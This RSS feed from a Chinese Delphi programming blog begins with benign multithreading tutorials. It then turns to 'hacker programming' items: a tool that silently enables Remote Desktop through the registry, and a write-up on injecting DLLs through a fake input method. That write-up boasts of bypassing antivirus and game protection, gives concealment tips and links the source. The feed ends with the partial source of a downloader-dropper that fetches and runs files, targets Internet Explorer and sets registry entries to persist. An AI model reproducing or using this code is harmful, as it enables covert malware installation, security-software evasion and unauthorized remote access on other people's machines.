<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="css/rss.xslt"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>心动吧DELPHI网络书</title><link>http://www.abcxd.com/delphi/</link><description>心动吧官方网 您的选择</description><generator>RainbowSoft Studio Z-Blog 1.8 Spirit Build 80722</generator><language>zh-CN</language><copyright>Copyright ⊙ 2004-2009 心动吧 UrL:ABCXD.CoM All RiGhts Reserved</copyright><pubDate>Sun, 27 Jun 2010 03:00:52 +0800</pubDate><item><title>delphi判断线程是否正在运行</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/delphi-thread.html</link><pubDate>Tue, 18 May 2010 04:10:57 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/delphi-thread.html</guid><description><![CDATA[<p>//以下资料来自大富翁论坛。<br /><br/>/判断线程是否释放 <br /><br/>//返回值：0-已释放；1-正在运行；2-已终止但未释放； <br /><br/>//3-未建立或不存在<br/><pre class="delphi" name="code">function TFrmMain.CheckThreadFreed(aThread: TThread): Byte; <br/>var <br/> i: DWord; <br/> IsQuit: Boolean; <br/>begin <br/> if Assigned(aThread) then <br/> begin <br/>   IsQuit := GetExitCodeThread(aThread.Handle, i); <br/>   if IsQuit then           //If the function succeeds, the return value is nonzero. <br/>                                 //If the function fails, the return value is zero. <br/>   begin <br/>     if i = STILL_ACTIVE then    //If the specified thread has not terminated, <br/>                                 //the termination status returned is STILL_ACTIVE. <br/>       Result := 1 <br/>     else <br/>       Result := 2;              //aThread未Free，因为Tthread.Destroy中有执行语句 <br/>   end <br/>   else <br/>     Result := 0;                //可以用GetLastError取得错误代码 <br/> end <br/> else <br/>   Result := 3; <br/>end;</pre></p><p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/delphi-thread.html" target="_blank">继续阅读《delphi判断线程是否正在运行》的全文内容...</a></p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/duoxiancheng2.html" title="多线程: 不使用同步工具, 手动协调线程依次执行">多线程: 不使用同步工具, 手动协调线程依次执行</a>&nbsp;&nbsp;(2010-5-18 4:6:41)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/Thread-close.html" title="delphi 关闭线程函数">delphi 关闭线程函数</a>&nbsp;&nbsp;(2009-3-24 3:17:51)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/WaitableTimer.html" title="多线程同步之 WaitableTimer (等待定时器对象)-多类型理解">多线程同步之 WaitableTimer (等待定时器对象)-多类型理解</a>&nbsp;&nbsp;(2009-2-19 11:42:37)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/WaitForSingleObject.html" title="WaitForSingleObject大致理解">WaitForSingleObject大致理解</a>&nbsp;&nbsp;(2009-2-18 10:3:4)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/Event.html" title="13多线程同步之 Event (事件对象) ">13多线程同步之 Event (事件对象) </a>&nbsp;&nbsp;(2009-2-17 7:58:35)</p></ul>]]></description><category>进程和线程</category><comments>http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/delphi-thread.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=398</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=398&amp;key=c6389967</trackback:ping></item><item><title>多线程: 不使用同步工具, 手动协调线程依次执行</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/duoxiancheng2.html</link><pubDate>Tue, 18 May 2010 04:06:41 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/duoxiancheng2.html</guid><description><![CDATA[<p>在前面例子的基础上, 探讨新问题.<br /><br/><br /><br/>假如我们想让几个线程(例子中是 3 个)依次执行, 我们可以使用临界区、信号、互斥等手段;<br /><br/>但下面第一个例子什么同步工具都没用, 也达到了目的; 方法是: 让前一个线程在结束前顺便启动下一个线程.<br /><br/><br /><br/>第二个例子使用了互斥对象配合 WaitForSingleObject 函数, 也达到相似的目的.</p><p><br /><br/>效果图(两个例子的效果图差不多, 但第二个例子的执行顺序不好保证):</p><p><img src="http://www.abcxd.com/delphi/upload/201005180410314247.gif" alt="" /></p><p>第一个例子的代码文件:</p><div class="codes"><pre class="delphi" name="code">unit Unit1;<br/><br/>interface<br/><br/>uses<br/>  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<br/>  Dialogs, StdCtrls, ExtCtrls;<br/><br/>type<br/>  TForm1 = class(TForm)<br/>    PaintBox1: TPaintBox;<br/>    PaintBox2: TPaintBox;<br/>    PaintBox3: TPaintBox;<br/>    Button1: TButton;<br/>    procedure Button1Click(Sender: TObject);<br/>    procedure FormDestroy(Sender: TObject);<br/>  end;<br/><br/>var<br/>  Form1: TForm1;<br/><br/>implementation<br/><br/>{$R *.dfm}<br/><br/>const<br/>  colors: array[0..2] of TColor = (clRed, clGreen, clBlue);<br/>var<br/>  hArr: array[0..2] of THandle;<br/>  panitArr: array[0..2] of TPaintBox;<br/><br/>function ThreadFun(p: Pointer): Integer; stdcall;<br/>var<br/>  i,n,x1,y1,x2,y2: Integer;<br/>  ThreadID: DWORD;<br/>begin<br/>  n := Integer(p);<br/>  panitArr[n].Color := colors[n];<br/><br/>  for i := 0 to 50 do with panitArr[n] do<br/>  begin<br/>    x1 := Random(Width); y1 := Random(Height);<br/>    x2 := Random(Width); y2 := Random(Height);<br/>    Canvas.Lock;<br/>    Canvas.Ellipse(x1,y1,x2,y2);<br/>    Canvas.Unlock;<br/>    Sleep(2);<br/>  end;<br/><br/>  {在前一个线程收尾时, 如果新建线程不超过 3 个就继续建立}<br/>  Inc(n);<br/>  if n &lt; 3 then hArr[n] := CreateThread(nil, 0, @ThreadFun, Ptr(n), 0, ThreadID);<br/>  Result := 0;<br/>end;<br/><br/>procedure TForm1.Button1Click(Sender: TObject);<br/>var<br/>  ID: DWORD;<br/>begin<br/>  panitArr[0] := PaintBox1;<br/>  panitArr[1] := PaintBox2;<br/>  panitArr[2] := PaintBox3;<br/><br/>  {开始只建立了一个线程, 并传入 0 参数作为标识}<br/>  hArr[0] := CreateThread(nil, 0, @ThreadFun, Ptr(0), 0, ID);<br/>end;<br/><br/>procedure TForm1.FormDestroy(Sender: TObject);<br/>var<br/>  i: Integer;<br/>begin<br/>  for i := 0 to Length(hArr) - 1 do CloseHandle(hArr[i]);<br/>end;<br/><br/>end.<br/></pre><p>窗体文件:</p><div class="codes"><pre class="delphi" name="code">object Form1: TForm1<br/>  Left = 0<br/>  Top = 0<br/>  Caption = 'Form1'<br/>  ClientHeight = 156<br/>  ClientWidth = 321<br/>  Color = clBtnFace<br/>  Font.Charset = DEFAULT_CHARSET<br/>  Font.Color = clWindowText<br/>  Font.Height = -11<br/>  Font.Name = 'Tahoma'<br/>  Font.Style = []<br/>  OldCreateOrder = False<br/>  OnDestroy = FormDestroy<br/>  PixelsPerInch = 96<br/>  TextHeight = 13<br/>  object PaintBox1: TPaintBox<br/>    Left = 8<br/>    Top = 8<br/>    Width = 97<br/>    Height = 113<br/>  end<br/>  object PaintBox2: TPaintBox<br/>    Left = 111<br/>    Top = 8<br/>    Width = 98<br/>    Height = 113<br/>  end<br/>  object PaintBox3: TPaintBox<br/>    Left = 215<br/>    Top = 8<br/>    Width = 98<br/>    Height = 113<br/>  end<br/>  object Button1: TButton<br/>    Left = 238<br/>    Top = 126<br/>    Width = 75<br/>    Height = 25<br/>    Caption = 'Button1'<br/>    TabOrder = 0<br/>    OnClick = Button1Click<br/>  end<br/>end<br/></pre><p>第一个例子的代码文件(窗体同上):</p><div class="codes"><pre class="delphi" name="code">unit Unit1;<br/><br/>interface<br/><br/>uses<br/>  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<br/>  Dialogs, StdCtrls, ExtCtrls;<br/><br/>type<br/>  TForm1 = class(TForm)<br/>    PaintBox1: TPaintBox;<br/>    PaintBox2: TPaintBox;<br/>    PaintBox3: TPaintBox;<br/>    Button1: TButton;<br/>    procedure Button1Click(Sender: TObject);<br/>    procedure FormDestroy(Sender: TObject);<br/>  end;<br/><br/>var<br/>  Form1: TForm1;<br/><br/>implementation<br/><br/>{$R *.dfm}<br/><br/>const<br/>  colors: array[0..2] of TColor = (clRed, clGreen, clBlue);<br/>var<br/>  hArr: array[0..2] of THandle;<br/>  panitArr: array[0..2] of TPaintBox;<br/>  hMutex: THandle; {互斥对象的句柄}<br/><br/>function ThreadFun(p: Pointer): Integer; stdcall;<br/>var<br/>  i,n,x1,y1,x2,y2: Integer;<br/>begin<br/>  n := Integer(p);<br/>  panitArr[n].Color := colors[n];<br/><br/>  if WaitForSingleObject(hMutex, INFINITE) = WAIT_OBJECT_0 then<br/>  begin<br/>    for i := 0 to 50 do with panitArr[n] do<br/>    begin<br/>      x1 := Random(Width); y1 := Random(Height);<br/>      x2 := Random(Width); y2 := Random(Height);<br/>      Canvas.Lock;<br/>      Canvas.Ellipse(x1,y1,x2,y2);<br/>      Canvas.Unlock;<br/>      Sleep(10);<br/>    end;<br/>    ReleaseMutex(hMutex);<br/>  end;<br/>  Result := 0;<br/>end;<br/><br/>procedure TForm1.Button1Click(Sender: TObject);<br/>var<br/>  ID: DWORD;<br/>  i: Integer;<br/>begin<br/>  panitArr[0] := PaintBox1;<br/>  panitArr[1] := PaintBox2;<br/>  panitArr[2] := PaintBox3;<br/><br/>  CloseHandle(hMutex);<br/>  hMutex := CreateMutex(nil, False, nil);<br/>  for i := 0 to Length(hArr) - 1 do<br/>    hArr[i] := CreateThread(nil, 0, @ThreadFun, Ptr(i), 0, ID);<br/>end;<br/><br/>procedure TForm1.FormDestroy(Sender: TObject);<br/>var<br/>  i: Integer;<br/>begin<br/>  CloseHandle(hMutex);<br/>  for i := 0 to Length(hArr) - 1 do CloseHandle(hArr[i]);<br/>end;<br/><br/>end.<br/></pre></div></div></div><p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/duoxiancheng2.html" target="_blank">继续阅读《多线程: 不使用同步工具, 手动协调线程依次执行》的全文内容...</a></p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/delphi-thread.html" title="delphi判断线程是否正在运行">delphi判断线程是否正在运行</a>&nbsp;&nbsp;(2010-5-18 4:10:57)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/Thread-close.html" title="delphi 关闭线程函数">delphi 关闭线程函数</a>&nbsp;&nbsp;(2009-3-24 3:17:51)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/WaitableTimer.html" title="多线程同步之 WaitableTimer (等待定时器对象)-多类型理解">多线程同步之 WaitableTimer (等待定时器对象)-多类型理解</a>&nbsp;&nbsp;(2009-2-19 11:42:37)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/WaitForSingleObject.html" title="WaitForSingleObject大致理解">WaitForSingleObject大致理解</a>&nbsp;&nbsp;(2009-2-18 10:3:4)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/Event.html" title="13多线程同步之 Event (事件对象) ">13多线程同步之 Event (事件对象) </a>&nbsp;&nbsp;(2009-2-17 7:58:35)</p></ul>]]></description><category>进程和线程</category><comments>http://www.abcxd.com/delphi/abcxddelphi/delphiJQSQ/duoxiancheng2.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=397</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=397&amp;key=583f97d9</trackback:ping></item><item><title>XP/2003下Delphi最简单的方法开放3389</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-xp-2003-3389.html</link><pubDate>Tue, 18 May 2010 03:52:58 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-xp-2003-3389.html</guid><description><![CDATA[<p>&nbsp;</p><div class="codes"><pre class="delphi" name="code">program Open3389;<br/><br/>{$APPTYPE CONSOLE}<br/><br/>uses<br/>  SysUtils, Registry, Windows;<br/><br/>var<br/>reg:TRegistry;<br/><br/>procedure Help;<br/>begin<br/>  writeln();<br/>  writeln(======Win XP&amp;2003 Open3389 by lanyu====== );<br/>  Writeln(Useag +ExtractFileName(Paramstr(0))+ [/n]);<br/>end;<br/><br/>begin<br/>  { TODO -oUser -cConsole Main : Insert code here }<br/>  if ParamCount&gt;2 then<br/>  begin<br/>    help;<br/>    exit;<br/>  end;<br/>  reg:=TRegistry.Create;<br/>  reg.RootKey:=HKEY_LOCAL_MACHINE;<br/>  reg.OpenKey(SYSTEM\CurrentControlSet\Control\Terminal Server,true);<br/>  if ParamCount=1 then<br/>  begin<br/>  if Paramstr(1)=/n then<br/>  begin<br/>    try<br/>      reg.WriteBool(fDenyTSConnections,true);<br/>      Writeln(Close 3389 successfully);<br/>    except<br/>      Writeln(Close 3389 fail);<br/>    end;<br/>  end<br/>  else<br/>    begin<br/>      Help;<br/>      Exit;<br/>    end;<br/>  end<br/>  else<br/>  begin<br/>    try<br/>      reg.WriteBool(fDenyTSConnections,false);<br/>      writeln(Open 3389 successfully);<br/>    except<br/>      writeln(Open 3389 fail);<br/>    end;<br/>  end;<br/>  reg.Free;<br/><br/>end.<br/><br/></pre></div><p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-xp-2003-3389.html" target="_blank">继续阅读《XP/2003下Delphi最简单的方法开放3389》的全文内容...</a></p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-xp-2003-3389.html#comment" target="_blank">找不到相关文章，请发表流言</a></p>]]></description><category>黑客编程</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Delphi-xp-2003-3389.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=396</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=396&amp;key=b506baff</trackback:ping></item><item><title>Ring3下注入DLL的另类方法，能过杀软和游戏NP（源码）</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Ring3-RegisterUserApiHook.html</link><pubDate>Tue, 18 May 2010 03:47:03 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Ring3-RegisterUserApiHook.html</guid><description><![CDATA[<p>Ring3下注入DLL的另类方法，能过杀软和游戏NP（源码）</p><p>&nbsp;&nbsp;&nbsp; 注入DLL是做全局钩子或者拦截类软件都有可能用到的技术，如果做外挂的话我们也有可能需要注入一个DLL到游戏进程中去干点什么&ldquo;坏事&rdquo;。 但我们知道现在要注入DLL是越来越难了。场景1：制作火星文输入法外挂，原理是利用API HOOK拦截并修改输入法相关函数，需要注入一个DLL到所有进程中，但是后来发现，在开启了瑞星的帐号保险箱后，用户将不能在QQ中输入火星文。原因是瑞星保护了QQ进程，禁止对其注入DLL，解决方法是提示用户关闭帐号保险箱 -_-|&nbsp; 确实是很降低用户体验的一个不是办法的办法。场景2：制作某游戏外挂，需要注入一个DLL到游戏进程中去直接调用游戏函数完成某一功能。结果发现该游戏有NP保护，OpenProcess打不开，创建远程线程也不行，试用其它方法也一一失败。遇到上面的情况，高手们自然是转到Ring0下面去，使用驱动之类的办法来对付啦，不过吾等菜鸟可就是酒井没法子了 -_-| <br /><br/>&nbsp;&nbsp;&nbsp; 不过也别太灰心，凡事总会有办法的。我想我们需要一种持久的、稳定的、不容易被安全软件屏蔽的DLL注入方法，后来发现，输入法程序就是能完成这一任务的理想人选。输入法程序程序到底是什么？它没有自己的进程，并且在系统还没有登录时就已被加载（在欢迎界面你也可以调出输入法），它可以在游戏中打开，也可以在控制台程序中打开，还可以在瑞星保护下的QQ中打开，在杀软中也可以打开，这不就是我们要找的特性吗。那么，输入法到底是什么呢？根据Windows的规定，输入法其实就是一个DLL，不过它是一个特殊的DLL，它必须具有标准输入法程序所规定的那些接口，输入法是由输入法管理器（imm32.dll）控制的，输入法管理器又是由user32.dll控制的。输入法在系统目录是以IME为扩展名的文件，当在应用程序中激活某个输入法时，输入法管理器就会在那个应用程序的进程中加载对应的IME文件，注意，加载IME文件跟加载普通的DLL并没有本质区别，所以，可以认为，输入法其实就是注入到应用程序中的一个DLL文件，并且，这种&ldquo;注入&rdquo;是不会被杀软和游戏NP拦截的（至少目前是）。现在，我们已经有了一个注入DLL的另类方法，那就是利用输入法。具体流程是这样，首先制作一个标准输入法文件，但是这个输入法并不完成文字输入工作，它的唯一任务就是用来注入DLL，所以称为&ldquo;服务输入法&rdquo;，然后，制作一个控制程序，来控制服务输入法，当然最后还需要一个用于注入的目标DLL，这样一共就有3个文件。开始工作后，控制程序首先将服务输入法安装到系统中，然后传递几个参数给服务输入法，参数中包括了需要注入的DLL文件的名称和路径，然后，控制程序将服务输入法设置为系统的默认输入法，这样新的程序一打开，服务输入法就会注入那个程序。当然，在服务输入法安装之前打开的程序不会被注入，这时需要向系统中的所有窗口POST一条WM_INPUTLANGCHANGEREQUEST消息，该消息可以在指定窗口中后台激活服务输入法，这样，系统中所有拥有窗口的进程就都被我们的服务输入法注入了。服务输入法注入程序之后，就会根据控制程序传递过来的参数加载目标DLL，这样目标DLL也就随着服务输入法一同注入到目标程序中了。注意服务输入法是控制程序用WM_INPUTLANGCHANGEREQUEST消息在所有窗口中自动激活的，如果某个窗口自动激活失败，你就需要在那个窗口中手工切换到服务输入法，这样才能注入进去了。至于注入以后，你就可以在窗口中切换到别的输入法，这并不会影响已经注入进去的DLL。我将这一套功能制作成一个完整的示例，你可以在以下地址下载： <a href="http://www.pen88.com/download/imehook.rar">http://www.pen88.com/download/imehook.rar</a>&nbsp; 压缩包中的第6个和第8个文件夹演示了此功能并包含所有源代码。其中文件imedllhost09.dll就是服务输入法，运行时会被安装到系统中，控制程序退出时会自动卸载该输入法，这样用户就不太容易察觉，你还可以重新编译该输入法，将名称改为&ldquo;中文（中国）&rdquo;，这样隐蔽性更好。文件hxwdllwx.dll是演示用的目标DLL，你可以替换成自己的DLL，然后那个exe文件就是控制程序了。输入法imedllhost09.dll在运行时会被复制到系统目录并更名为imedllhost09.ime，它导出了2个函数用于控制。在VB中的声明为：<br /><br/>Public Declare Function IMESetPubString Lib &quot;imedllhost09.ime&quot; (ByVal RunDLLStr As String, ByVal UnloadDll As Long, ByVal loadNextIme As Long, ByVal DllData1 As Long, ByVal DllData2 As Long, ByVal DllData3 As Long) As Long<br /><br/>Public Declare Function IMEClearPubString Lib &quot;imedllhost09.ime&quot; () As Long<br /><br/>其中IMESetPubString用于向输入法传递要注入的DLL等参数。RunDLLStr，要注入的DLL命令和完整路径。UnloadDll，当输入法退出时，是否同时卸载目标DLL 0-是，1-否。loadNextIme，当切换至该服务输入法时，是否直接切换到下一个输入法（这样服务输入法就好像被跳过了，可最小限度影响用户的输入法顺序） 0-否，1-是。DllData1，DllData2，DllData3是传递给目标DLL的回调函数（函数名称必须为RunDllHostCallBack）的参数，你可以在目标DLL中导出一个函数，名称为RunDllHostCallBack，这样当输入法注入时会调用目标DLL的该回调函数并向其传递这3个参数。函数原型为（VC）：<br /><br/>DWORD RunDllHostCallBack(DWORD calldata1, DWORD calldata2,DWORD calldata3);<br /><br/>IMEClearPubString函数用于清除输入法的配置，清除后，输入法将停止在新的程序中注入目标DLL，但已注入的DLL不会卸载。<br /><br/>好了，利用输入法来注入DLL基本上就是这样了，详细的用法大家可以看压缩包中的第8个文件夹，其中服务输入法是VC写的，控制程序是VB的，代码都是有注释的。测试发现该方法能过目前所有杀软，也能注入冰刃。当然缺点还是有的，就是目标程序如果不接受输入法那就没办法了，但是现在一般的游戏都不会禁止玩家在里面打字吧，而且杀软也不能禁止用户输入汉字吧，哈哈，所以通用性应该还是蛮好的。</p><p>&nbsp;</p><p>最后，我再介绍另一个注入DLL的方法，估计也很少被用到。是利用一个未公开函数RegisterUserApiHook，可以在网上搜索关键词&ldquo;RegisterUserApiHook&rdquo;，查到有人在Windows 2003下测试成功，但是我在Windows XP测试却失败。后来终于找到了失效的原因。RegisterUserApiHook函数可以在系统中注册一个全局钩子，你需要在钩子中指定一个DLL和一个回调函数，然后，所有加载了user32.dll的程序就都会在启动时加载你指定的这个DLL。用这个函数来注入DLL也是很不错的。但是测试发现它的注入能力似乎赶不上上面提到的利用输入法来注入的办法，可以注入一般的程序和某些安全程序，但是对冰刃无效。而且它有一个限制，就是系统中只能同时存在一个这样的钩子。实际上这个钩子平时是被系统中的Themes服务占用了，Themes服务正是利用这个钩子HOOK了绘制窗口的相关API，所以才让所有程序窗口变成XP主题样式的。所以我们要用这个钩子的话，必须先关闭Themes服务，这样在XP下也可以用了，但是这样系统就变成Windows 2000的样式了 -_-|</p><p>RegisterUserApiHook函数的VB声明如下：<br /><br/>Public Declare Function RegisterUserApiHookXP Lib &quot;user32&quot; Alias &quot;RegisterUserApiHook&quot; (ByVal hInstance As Long, ByVal fnUserApis As Long) As Long<br /><br/>Public Declare Function RegisterUserApiHook2003 Lib &quot;user32&quot; Alias &quot;RegisterUserApiHook&quot; (pRegInfo As HookAPIRegInfo2003) As Long</p><p>可以看到，在XP和2003下这个函数的参数是不一样的。关于此函数的示例代码，请参见压缩包中的第5个文件夹。</p><p>最后的最后，再介绍一个未公开函数InitializeLpkHooks，这个函数在网上能找到的资料更少，只有一个声明而已。但是它名称中最后那个&ldquo;Hooks&rdquo;误导了我，我以为又是一个可以用来注入DLL的不错函数，用OD反出来一看，原来只是个局部HOOK而已。虽然没太大用，还是一并写上吧，也许谁用得着呢。InitializeLpkHooks顾名思义就是HOOK LPK的，Windows有个lpk.dll，就是支持多语言包的那么个功能。测试发现好多程序在TextOut之前似乎是要调用lpk.dll里面的相关函数的，可能是支持多语言的程序就需要用这个来判断到底要显示那种语言吧。而InitializeLpkHooks，就是用来HOOK lpk.dll里面的4个函数的，这4个函数是LpkTabbedTextOut，LpkPSMTextOut，LpkDrawTextEx，LpkEditControl。我们先打开VB，在窗体中加入以下代码吧：<br /><br/>Private Sub Form_Load()<br /><br/>DLLhwnd = LoadLibrary(&quot;lpk.dll&quot;)&nbsp;&nbsp; '加载DLL<br /><br/>DLLFunDre = GetProcAddress(DLLhwnd, &quot;LpkDrawTextEx&quot;)&nbsp;&nbsp; '获取回调函数地址</p><p>LpkHooksInfo.lpHookProc_LpkTabbedTextOut = 0<br /><br/>LpkHooksInfo.lpHookProc_LpkPSMTextOut = 0<br /><br/>LpkHooksInfo.lpHookProc_LpkDrawTextEx = GetLocalProcAdress(AddressOf HookProc1)&nbsp;&nbsp; '设置要HOOK的LPK函数<br /><br/>LpkHooksInfo.lpHookProc_LpkEditControl = 0<br /><br/>InitializeLpkHooks LpkHooksInfo<br /><br/>End Sub</p><p>Private Sub Form_Unload(Cancel As Integer)<br /><br/>LpkHooksInfo.lpHookProc_LpkTabbedTextOut = 0<br /><br/>LpkHooksInfo.lpHookProc_LpkPSMTextOut = 0<br /><br/>LpkHooksInfo.lpHookProc_LpkDrawTextEx = DLLFunDre<br /><br/>LpkHooksInfo.lpHookProc_LpkEditControl = 0<br /><br/>InitializeLpkHooks LpkHooksInfo<br /><br/>FreeLibrary DLLhwnd<br /><br/>End Sub</p><p><br /><br/>然后新建一个模块，在模块中加入以下代码：<br /><br/>Public Declare Function LoadLibrary Lib &quot;kernel32&quot; Alias &quot;LoadLibraryA&quot; (ByVal lpLibFileName As String) As Long<br /><br/>Public Declare Function GetProcAddress Lib &quot;kernel32&quot; (ByVal hModule As Long, ByVal lpProcName As String) As Long<br /><br/>Public Declare Function FreeLibrary Lib &quot;kernel32&quot; (ByVal hLibModule As Long) As Long<br /><br/>' ----------------未公开函数--------------------------------------<br /><br/>Public Declare Sub InitializeLpkHooks Lib &quot;user32&quot; (lpProcType As Any)</p><p>Type LpkHooksSetting<br /><br/>&nbsp;&nbsp;&nbsp; lpHookProc_LpkTabbedTextOut As Long<br /><br/>&nbsp;&nbsp;&nbsp; lpHookProc_LpkPSMTextOut As Long<br /><br/>&nbsp;&nbsp;&nbsp; lpHookProc_LpkDrawTextEx As Long<br /><br/>&nbsp;&nbsp;&nbsp; lpHookProc_LpkEditControl As Long<br /><br/>End Type</p><p>' -------------------------------<br /><br/>Public DLLhwnd As Long, DLLFunDre As Long<br /><br/>Public LpkHooksInfo As LpkHooksSetting</p><p>Public Function GetLocalProcAdress(ByVal lpProc As Long) As Long<br /><br/>GetLocalProcAdress = lpProc<br /><br/>End Function</p><p>Function HookProc1(ByVal a1 As Long, ByVal a2 As Long, ByVal a3 As Long, ByVal a4 As Long, ByVal a5 As Long, ByVal a6 As Long, ByVal a7 As Long, ByVal a8 As Long, ByVal a9 As Long, ByVal a10 As Long) As Long<br /><br/>HookProc1 = 0<br /><br/>End Function</p><p>运行一下看看，是不是窗体中标题栏和按钮上的文字都没有了，因为我们把函数LpkDrawTextEx替换成自己的函数HookProc1了。这个函数有10个参数，其中几个好像是字符串指针，似乎可以用来截获窗体要显示的文字，然后改成另一种语言的文字，我猜想，也许就是这个用途吧。哈哈，纯属猜测。以上就是函数InitializeLpkHooks的用法了。</p><p>以上就是全部。</p><p>&nbsp;下载地址:<a target="_blank" href="http://www.abcxd.com/delphi/upload/201005180350093144.rar">201005180350093144.rar</a></p><p>&nbsp;内容为:</p><p>&nbsp;1-火星文输入法外挂（仅拦截并修改输入法，使用WM_DEBUG钩子，对控制台程序也有效，稳定性一般）</p><p>&nbsp;2-拦截并修改输入法+拦截但不修改键盘消息（使用WH_KEYBOARD钩子，对控制台程序无效，稳定性最佳）</p><p>&nbsp;3-拦截并修改输入法和键盘消息（使用WH_GETMESSAGE钩子，可以修改按键）</p><p>&nbsp;4-拦截输入法输入和IME消息（使用WH_CALLWNDPROC钩子）</p><p>&nbsp;5-拦截并修改输入法（使用未公开函数RegisterUserApiHook）【新】</p><p>&nbsp;6-拦截并修改输入法（利用IME输入法向所有进程注入DLL，可绕过大多数安全软件检测，比如瑞星的账号保险箱）【新】</p><p>&nbsp;7-补充示例（演示拦截WM_CHAR消息时如何处理中文，可获得万能五笔输入）</p><p>&nbsp;8-补充示例：利用输入法注入任意DLL演示（可绕过大多数安全软件的检测，能够注入带有自我保护的进程）</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Ring3-RegisterUserApiHook.html" target="_blank">继续阅读《Ring3下注入DLL的另类方法，能过杀软和游戏NP（源码）》的全文内容...</a></p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Ring3-RegisterUserApiHook.html#comment" target="_blank">找不到相关文章，请发表流言</a></p>]]></description><category>黑客编程</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Ring3-RegisterUserApiHook.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=395</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=395&amp;key=45b01496</trackback:ping></item><item><title>ActiveX启动下载者（delphi）</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/delphi-ActiveX.html</link><pubDate>Tue, 18 May 2010 03:43:25 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/delphi-ActiveX.html</guid><description><![CDATA[<p>&nbsp;</p><div class="codes"><pre class="delphi" name="code">program InjectTheSelf;<br/><br/>{$IMAGEBASE $13140000}<br/><br/>uses<br/>Windows;<br/><br/>var<br/>//动态加载shell32.dll中的ShellExecuteA函数<br/>ShellRun:function (hWnd: HWND; Operation, FileName, Parameters,Directory: PChar; ShowCmd: Integer):Cardinal; stdcall;<br/>//动态加载Urlmon.dll中的UrlDownloadToFileA函数<br/>Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved:LongWord; StatusCB: pointer): Longint; stdcall;<br/>hShell,hUrlmon: THandle;<br/><br/><br/>//插入IE需要用到的函数<br/>function GetIEAppPath:string;<br/>var<br/>iekey: Hkey;<br/>iename: array [0..255] of char;<br/>vType,dLength :DWORD;<br/>begin<br/>vType := REG_SZ;<br/>RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE',0,KEY_ALL_ACCESS,iekey);<br/>dLength := SizeOf(iename);<br/>if RegQueryValueEx(iekey, '' , nil, @vType, @iename[0], @dLength) = 0 then<br/>Result := iename<br/>else<br/>Result := '%programfiles%\Internet Explorer\IEXPLORE.EXE';<br/>RegCloseKey(iekey);<br/>end;<br/>//写注册表 用到的函数 为activeX启动准备<br/>function Skrivreg(key:Hkey; subkey,name,value:string):boolean;<br/>var<br/>regkey:hkey;<br/>begin<br/>result := 